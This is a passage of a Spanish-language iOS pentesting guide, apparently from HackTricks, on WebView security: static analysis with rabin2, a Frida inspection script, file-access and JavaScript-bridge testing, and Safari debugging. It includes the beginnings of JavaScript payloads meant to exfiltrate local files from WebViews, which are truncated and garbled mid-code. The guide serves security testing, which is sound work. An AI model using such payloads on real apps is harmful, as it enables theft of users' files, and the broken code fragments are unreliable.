es obsoleto a partir de iOS 12 y no debería ser utilizado. No se puede desactivar JavaScript. **WKWebView**: Es la opción adecuada para extender la funcionalidad de la aplicación y controlar el contenido mostrado. JavaScript está habilitado por defecto, pero gracias a la propiedad `javaScriptEnabled` de `WKWebView`, se puede desactivar completamente, evitando todas las vulnerabilidades de inyección de script. La propiedad `JavaScriptCanOpenWindowsAutomatically` se puede utilizar para evitar que JavaScript abra nuevas ventanas, como pop-ups. La propiedad `hasOnlySecureContent` se puede utilizar para verificar que los recursos cargados por el WebView se recuperan a través de conexiones cifradas. `WKWebView` implementa el renderizado fuera de proceso, por lo que los errores de corrupción de memoria no afectarán al proceso principal de la aplicación. **SFSafariViewController**: Debe ser utilizado para proporcionar una experiencia de visualización web generalizada. Estos WebViews se pueden identificar fácilmente ya que tienen un diseño característico que incluye los siguientes elementos: - Un campo de dirección de solo lectura con un indicador de seguridad. - Un botón de acción ("Compartir"). - Un botón "Hecho", botones de navegación hacia atrás y hacia adelante, y un botón "Safari" para abrir la página directamente en Safari. JavaScript no se puede desactivar en `SFSafariViewController` y esta es una de las razones por las que se recomienda el uso de `WKWebView` cuando el objetivo es extender la interfaz de usuario de la aplicación. `SFSafariViewController` también comparte cookies y otros datos del sitio web con Safari. La actividad y la interacción del usuario con un `SFSafariViewController` no son visibles para la aplicación, que no puede acceder a los datos de AutoFill, el historial de navegación ni los datos del sitio web. Según las Pautas de revisión de la App Store, los `SFSafariViewController` no pueden estar ocultos u oscurecidos por otras vistas o capas. ## Descubriendo la configuración de WebViews ### Análisis estático **UIWebView** ```bash $ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$" 489 0x0002fee9 0x10002fee9 9 10 (5.__TEXT.__cstring) ascii UIWebView 896 0x0003c813 0x0003c813 24 25 () ascii @_OBJC_CLASS_$_UIWebView 1754 0x00059599 0x00059599 23 24 () ascii _OBJC_CLASS_$_UIWebView ``` **WKWebView** WKWebView es una clase de iOS que permite mostrar contenido web en una aplicación. Es una alternativa más moderna y segura a UIWebView. WKWebView utiliza el motor de renderizado WebKit y proporciona una API más rica para interactuar con el contenido web. Algunas de las características de WKWebView son: - Soporte para JavaScript y HTML5. - Comunicación bidireccional entre la aplicación y el contenido web mediante mensajes. - Posibilidad de personalizar la apariencia del contenido web mediante CSS. - Soporte para la carga de contenido web desde una URL o desde un archivo local. - Posibilidad de interceptar y modificar las solicitudes de red realizadas por el contenido web. En el contexto de la seguridad, es importante tener en cuenta que WKWebView puede ser vulnerable a ataques de Cross-Site Scripting (XSS) si no se toman las medidas adecuadas para validar y escapar los datos de entrada. Además, WKWebView puede filtrar información sensible, como cookies y tokens de autenticación, si no se configura correctamente. ```bash $ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$" 490 0x0002fef3 0x10002fef3 9 10 (5.__TEXT.__cstring) ascii WKWebView 625 0x00031670 0x100031670 17 18 (5.__TEXT.__cstring) ascii unwindToWKWebView 904 0x0003c960 0x0003c960 24 25 () ascii @_OBJC_CLASS_$_WKWebView 1757 0x000595e4 0x000595e4 23 24 () ascii _OBJC_CLASS_$_WKWebView ``` Alternativamente, también puedes buscar los métodos conocidos de estas clases WebView. Por ejemplo, busca el método utilizado para inicializar un WKWebView ([`init(frame:configuration:)`](https://developer.apple.com/documentation/webkit/wkwebview/1414998-init)): ```bash $ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame" 0x5c3ac 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC 0x5d97a 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO 0x6b5d5 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC 0x6c3fa 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO ``` #### Probando la Configuración de JavaScript Para `WKWebView`s, como buena práctica, JavaScript debería estar deshabilitado a menos que sea explícitamente requerido. Para verificar que JavaScript fue deshabilitado correctamente, busca en el proyecto los usos de `WKPreferences` y asegúrate de que la propiedad [`javaScriptEnabled`](https://developer.apple.com/documentation/webkit/wkpreferences/1536203-javascriptenabled) esté establecida en `false`: ``` let webPreferences = WKPreferences() webPreferences.javaScriptEnabled = false ``` Si solo se tiene el binario compilado, se puede buscar lo siguiente en él: ```bash $ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled" 391 0x0002f2c7 0x10002f2c7 17 18 (4.__TEXT.__objc_methname) ascii javaScriptEnabled 392 0x0002f2d9 0x10002f2d9 21 22 (4.__TEXT.__objc_methname) ascii setJavaScriptEnabled ``` #### Probando OnlySecureContent A diferencia de los `UIWebView`, cuando se utilizan `WKWebView`s es posible detectar contenido mixto (contenido HTTP cargado desde una página HTTPS). Al utilizar el método [`hasOnlySecureContent`](https://developer.apple.com/documentation/webkit/wkwebview/1415002-hasonlysecurecontent) se puede verificar si todos los recursos de la página se han cargado a través de conexiones cifradas de forma segura.\ En el binario compilado: ```bash $ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent" ``` También se puede buscar en el código fuente o en las cadenas la cadena "http://". Sin embargo, esto no necesariamente significa que haya un problema de contenido mixto. Obtenga más información sobre el contenido mixto en [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/Security/Mixed\_content). ### Análisis dinámico Es posible inspeccionar el heap a través de `ObjC.choose()` para encontrar instancias de los diferentes tipos de WebViews y también buscar las propiedades `javaScriptEnabled` y `hasonlysecurecontent`: {% code title="webviews_inspector.js" %} ```javascript ObjC.choose(ObjC.classes['UIWebView'], { onMatch: function (ui) { console.log('onMatch: ', ui); console.log('URL: ', ui.request().toString()); }, onComplete: function () { console.log('done for UIWebView!'); } }); ObjC.choose(ObjC.classes['WKWebView'], { onMatch: function (wk) { console.log('onMatch: ', wk); console.log('URL: ', wk.URL().toString()); }, onComplete: function () { console.log('done for WKWebView!'); } }); ObjC.choose(ObjC.classes['SFSafariViewController'], { onMatch: function (sf) { console.log('onMatch: ', sf); }, onComplete: function () { console.log('done for SFSafariViewController!'); } }); ObjC.choose(ObjC.classes['WKWebView'], { onMatch: function (wk) { console.log('onMatch: ', wk); console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled()); } }); ObjC.choose(ObjC.classes['WKWebView'], { onMatch: function (wk) { console.log('onMatch: ', wk); console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString()); } }); ``` {% endcode %} Cargalo con: ```bash frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js onMatch: > hasOnlySecureContent: false ``` ## Manejo de protocolos WebView Varios esquemas predeterminados están disponibles que se interpretan en un WebView en iOS, por ejemplo: * http(s):// * file:// * tel:// Los WebViews pueden cargar contenido remoto desde un punto final, pero también pueden cargar contenido local desde el directorio de datos de la aplicación. Si se carga el contenido local, el usuario no debería poder influir en el nombre de archivo o la ruta utilizada para cargar el archivo, y los usuarios no deberían poder editar el archivo cargado. ### Carga de contenido WebView * **UIWebView**: Puede usar métodos obsoletos [`loadHTMLString:baseURL:`](https://developer.apple.com/documentation/uikit/uiwebview/1617979-loadhtmlstring?language=objc) o [`loadData:MIMEType:textEncodingName:baseURL:`](https://developer.apple.com/documentation/uikit/uiwebview/1617941-loaddata?language=objc) para cargar contenido. * **WKWebView**: Puede usar los métodos [`loadHTMLString:baseURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1415004-loadhtmlstring?language=objc) o [`loadData:MIMEType:textEncodingName:baseURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1415011-loaddata?language=objc) para cargar archivos HTML locales y `loadRequest:` para contenido web. Por lo general, los archivos locales se cargan en combinación con métodos que incluyen, entre otros: [`pathForResource:ofType:`](https://developer.apple.com/documentation/foundation/nsbundle/1410989-pathforresource), [`URLForResource:withExtension:`](https://developer.apple.com/documentation/foundation/nsbundle/1411540-urlforresource?language=objc) o [`init(contentsOf:encoding:)`](https://developer.apple.com/documentation/swift/string/3126736-init). Además, también debe verificar si la aplicación está utilizando el método [`loadFileURL:allowingReadAccessToURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1414973-loadfileurl?language=objc). Su primer parámetro es `URL` y contiene la URL que se cargará en el WebView, su segundo parámetro `allowingReadAccessToURL` puede contener un solo archivo o un directorio. Si contiene un solo archivo, ese archivo estará disponible para el WebView. Sin embargo, si contiene un directorio, **todos los archivos de ese directorio estarán disponibles para el WebView**. Por lo tanto, vale la pena inspeccionar esto y, en caso de que sea un directorio, verificar que no se pueda encontrar información confidencial dentro de él. Si tiene el código fuente, puede buscar esos métodos. Si tiene el **binario compilado**, también puede buscar estos métodos: ```bash $ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString" 231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL: ``` ### Acceso a archivos * **UIWebView:** * El esquema `file://` siempre está habilitado. * El acceso a archivos desde URLs `file://` siempre está habilitado. * El acceso universal desde URLs `file://` siempre está habilitado. * Si se recupera el origen efectivo de un `UIWebView` donde `baseURL` también está establecido en `nil`, se verá que no está establecido en "null", en su lugar se obtendrá algo similar a lo siguiente: `applewebdata://5361016c-f4a0-4305-816b-65411fc1d78`. Este origen "applewebdata://" es similar al origen "file://" ya que **no implementa la Política de Origen Común** y permite el acceso a archivos locales y cualquier recurso web. {% tabs %} {% tab title="exfiltrate_file" %} ```javascript String.prototype.hexEncode = function(){ var hex, i; var result = ""; for (i=0; i> URL: file:///var/mobile/Containers/Data/Application/A654D169-1DB7-429C-9DB9-A871389A8BAA/ Library/WKWebView/scenario1.html javaScriptEnabled: true allowFileAccessFromFileURLs: 0 hasOnlySecureContent: false allowUniversalAccessFromFileURLs: 0 ``` #### Exfiltrar archivos arbitrarios ```javascript //For some reason this payload doesn't work!! //Let me know if you know how to exfiltrate local files from a WKWebView String.prototype.hexEncode = function(){ var hex, i; var result = ""; for (i=0; i ``` ### Función llamada La función llamada se encuentra en [`JavaScriptBridgeMessageHandler.swift`](https://github.com/authenticationfailure/WheresMyBrowser.iOS/blob/b8d4abda4000aa509c7a5de79e5c90360d1d0849/WheresMyBrowser/JavaScriptBridgeMessageHandler.swift#L29): ```swift class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler { //... case "multiplyNumbers": let arg1 = Double(messageArray[1])! let arg2 = Double(messageArray[2])! result = String(arg1 * arg2) //... let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')" message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil) ``` ### Pruebas Para probar el envío de un postMessage dentro de una aplicación, se puede: * Cambiar la respuesta del servidor (MitM) * Realizar una instrumentación dinámica e inyectar la carga útil de JavaScript utilizando frameworks como Frida y las correspondientes funciones de evaluación de JavaScript disponibles para los iOS WebViews ([`stringByEvaluatingJavaScriptFromString:`](https://developer.apple.com/documentation/uikit/uiwebview/1617963-stringbyevaluatingjavascriptfrom?language=objc) para `UIWebView` y [`evaluateJavaScript:completionHandler:`](https://developer.apple.com/documentation/webkit/wkwebview/1415017-evaluatejavascript?language=objc) para `WKWebView`). ## Depuración de iOS WebViews (Tutorial de [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews)) En los webviews de iOS, los mensajes enviados a `console.log()` _no_ se imprimen en los registros de Xcode. Todavía es relativamente fácil depurar el contenido web con las herramientas de desarrollador de Safari, aunque hay un par de limitaciones: * La depuración de los webviews de iOS requiere Safari, por lo que su ordenador de desarrollo debe estar ejecutando macOS. * Solo se pueden depurar los webviews en aplicaciones cargadas en su dispositivo a través de Xcode. No se pueden depurar los webviews en aplicaciones instaladas a través de la App Store o Apple Configurator. Con esas limitaciones en mente, aquí están los pasos para depurar de forma remota un webview en iOS: * Primero, habilite el Inspector web de Safari en su dispositivo iOS abriendo la aplicación _Configuración_ de iOS, navegando a **Configuración > Safari > Avanzado**, y activando la opción _Inspector web_. ![iOS Safari settings](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/ios-safari-settings.jpg) * A continuación, también debe habilitar las herramientas de desarrollador en Safari en su ordenador de desarrollo. Inicie Safari en su máquina de desarrollo y navegue a **Safari > Preferencias** en la barra de menú. En el panel de preferencias que aparece, haga clic en la pestaña _Avanzado_ y luego habilite la opción _Mostrar menú Desarrollar_ en la parte inferior. Después de hacer eso, puede cerrar el panel de preferencias. ![Mac Safari settings](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-settings.jpg) * Conecte su dispositivo iOS a su ordenador de desarrollo y lance su aplicación. * En Safari en su ordenador de desarrollo, haga clic en _Desarrollar_ en la barra de menú y coloque el cursor sobre la opción desplegable que es el nombre de su dispositivo iOS para mostrar una lista de instancias de webview que se ejecutan en su dispositivo iOS. ![Mac Safari develop menu](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-develop-menu.jpg) * Haga clic en la opción desplegable del webview que desea depurar. Esto abrirá una nueva ventana de Safari Web Inspector para inspeccionar el webview. ![Safari Web Inspector window](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-inspector.jpg) ## Referencias * [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6) * [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! - Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family) - Obtenga el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com) - **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - **Comparta sus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.